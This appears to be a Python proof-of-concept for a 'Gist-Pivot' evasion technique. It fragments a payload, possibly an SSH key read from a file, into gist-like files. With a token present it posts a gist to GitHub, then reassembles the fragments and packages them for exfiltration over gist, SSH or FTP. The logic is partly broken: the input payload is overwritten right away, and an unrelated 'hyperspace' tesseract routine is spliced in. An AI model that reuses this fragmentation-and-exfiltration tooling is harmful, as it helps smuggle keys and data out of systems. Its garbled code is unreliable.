#!/usr/bin/env python3 """Gist-Pivot PoC Simulate creating many small "gists" (here just files) containing fragments of an MSM, demonstrating the evasion technique. """ import os import sys OUTDIR = "/tmp/gist_pivot" # define a tiny micro-state machine language with simple ops: # 0x01 INC ; increment accumulator # 0x02 DEC ; decrement accumulator # 0x03 JNZ ; jump relative if accumulator != 0 # 0xFF HALT ; stop execution # By default we encode a sample MSM; if a file path is provided on the # command line, we treat that file's bytes as the payload to hide (e.g. # a pseudo SSH key). if len(sys.argv) > 1: INPUT_PATH = sys.argv[1] with open(INPUT_PATH, 'rb') as f: MSM_CODE = f.read() print(f"[+] Using input file {INPUT_PATH} ({len(MSM_CODE)} bytes) as payload") else: MSM_CODE = bytes([0x01, 0x01, 0x02, 0x03, 0xFD, 0xFF]) # split into equal pieces to simulate fragmentation def split_fragments(code, pieces): size = len(code) // pieces fragments = [code[i*size:(i+1)*size] for i in range(pieces-1)] fragments.append(code[(pieces-1)*size:]) return fragments # to compress further, map emojis to a small index via a LUT EMOJI_LUT = { '⏱️': 0, '🛑': 1, '🔧': 2, '💥': 3, } REV_LUT = {v: k for k, v in EMOJI_LUT.items()} # our MSM representation will now be a sequence of indices (one byte each) # if MSM_CODE was text it is ignored; instead generate a sample emoji sequence emoji_sequence = ['⏱️','🛑','🔧','💥'] MSM_CODE = bytes([EMOJI_LUT[e] for e in emoji_sequence]) FRAGMENTS = split_fragments(MSM_CODE, 4) os.makedirs(OUTDIR, exist_ok=True) # write fragments locally (for simulation) and optionally POST them if token present import time stamp = int(time.time()) for idx in range(len(FRAGMENTS)): with open(os.path.join(OUTDIR, f"gist_{idx}.txt"), "wb") as f: f.write(FRAGMENTS[idx]) # create proof content proof = f"{stamp}: PoC proven\n" with open(os.path.join(OUTDIR, f"gist_{stamp}.txt"), "w") as f: f.write(proof) # if a GitHub token is available, post a real gist with the proof GITHUB_TOKEN = os.getenv("GITHUB_TOKEN") def post_gist(content, description="PoC"): if not GITHUB_TOKEN: return None try: import json, requests except ImportError: return None payload = { "description": description, "public": False, "files": {"poc.txt": {"content": content}} } headers = {"Authorization": f"token {GITHUB_TOKEN}"} r = requests.post("https://api.github.com/gists", headers=headers, data=json.dumps(payload)) if r.ok: url = r.json().get("html_url") print(f"[+] posted gist {url}") return url else: print("[!] failed to post gist", r.status_code, r.text) return None if GITHUB_TOKEN: post_gist(proof, f"PoC ~{stamp}") # --- collector / reassembly step --- def reassemble_fragments(directory): """Reads all files in lexicographic order and concatenates their contents. This simulates the attacker-controlled agent pulling down the gists and rebuilding the original MSM instructions. """ parts = [] for fname in sorted(os.listdir(directory)): path = os.path.join(directory, fname) with open(path, "rb") as f: parts.append(f.read()) combined = b"".join(parts) return combined # fast reassembly using bytearray assembled = bytearray() for fname in sorted(os.listdir(OUTDIR)): with open(os.path.join(OUTDIR, fname), "rb") as f: assembled.extend(f.read()) # minimal output # decode stream without dictionary lookups inside loop out = ''.join(REV_LUT.get(b,'?') for b in assembled) print(out) # hyperspace calculation per request import random def compute_hyperspace(): # represent the shell as a random point in 10‑D space shell = [random.random() for _ in range(10)] # build five 4‑D tesseracts (hypercubes) with random base positions tesseracts = [] for _ in range(5): base = [random.random() for _ in range(4)] corners = [] for mask in range(16): corner = [base[j] + ((mask >> j) & 1) for j in range(4)] corners.append(corner) tesseracts.append(corners) # compute shadows by projecting each corner to 3‑D (drop last coord) shadows = [] for cube in tesseracts: shadows.append([[p[0], p[1], p[2]] for p in cube]) # derive metric comparing shell to shadows and system noise total = 0.0 for shadow in shadows: for p in shadow: # distance between first three dims of shell and point total += sum((shell[i] - p[i]) ** 2 for i in range(3)) ** 0.5 mean = total / (5 * 16) noise = random.random() return mean - noise derived = compute_hyperspace() print(f"derived hyperspace metric: {derived}") # optionally encode/transport assembled binary via different protocols mode = None if len(sys.argv) > 2: mode = sys.argv[2].lower() if mode == "gist": import base64 encoded = base64.b64encode(assembled).decode('ascii') print("\n[+] Gist-ready payload (base64):\n", encoded) elif mode == "ssh": # encapsulate in fake SSH packet: 4-byte length + data pkt = len(assembled).to_bytes(4,'big') + assembled print(f"\n[+] Encapsulated SSH packet ({len(pkt)} bytes):", pkt) elif mode == "ftp": # encode for FTP upload (here just write to file) out = "/tmp/ftp_exfil.bin" with open(out, 'wb') as f: f.write(assembled) print(f"\n[+] Simulated FTP upload by writing data to {out}") # proceed with state persistence and possible key extraction # interpret assembled bytes as MSM instructions def run_msm(code_bytes): acc = pc = 0 # unrolled simple loop, no prints while pc < len(code_bytes): instr = code_bytes[pc] if instr == 1: acc += 1; pc += 1 continue if instr == 2: acc -= 1; pc += 1 continue if instr == 3: offset = code_bytes[pc+1] pc += offset if acc != 0 else 2 continue if instr == 0xFF: break break return acc # decide whether to execute MSM logic or treat payload as key data if len(sys.argv) > 1: print("[+] Input file provided; skipping MSM execution and treating assembled data as key material") acc = None else: acc = run_msm(assembled) if acc is not None: # save final state (accumulator) to external file to simulate persistence STATE_FILE = "/tmp/gist_msm_state.bin" with open(STATE_FILE, "wb") as sf: # store accumulator as 4-byte little-endian int sf.write((acc).to_bytes(4, byteorder='little', signed=True)) print(f"Saved MSM state (accumulator={acc}) to {STATE_FILE}") # ---------------------------------------------------------------- # simulate critical payload extraction: treat assembled bytes as an SSH key KEY_FILE = "/tmp/extracted_ssh_key.pem" with open(KEY_FILE, "wb") as kf: kf.write(b"-----BEGIN RSA PRIVATE KEY-----\n") # base64-encode the assembled bytes for realism import base64 kf.write(base64.b64encode(assembled) + b"\n") kf.write(b"-----END RSA PRIVATE KEY-----\n") print(f"Simulated SSH key written to {KEY_FILE} (contains {len(assembled)} raw bytes)")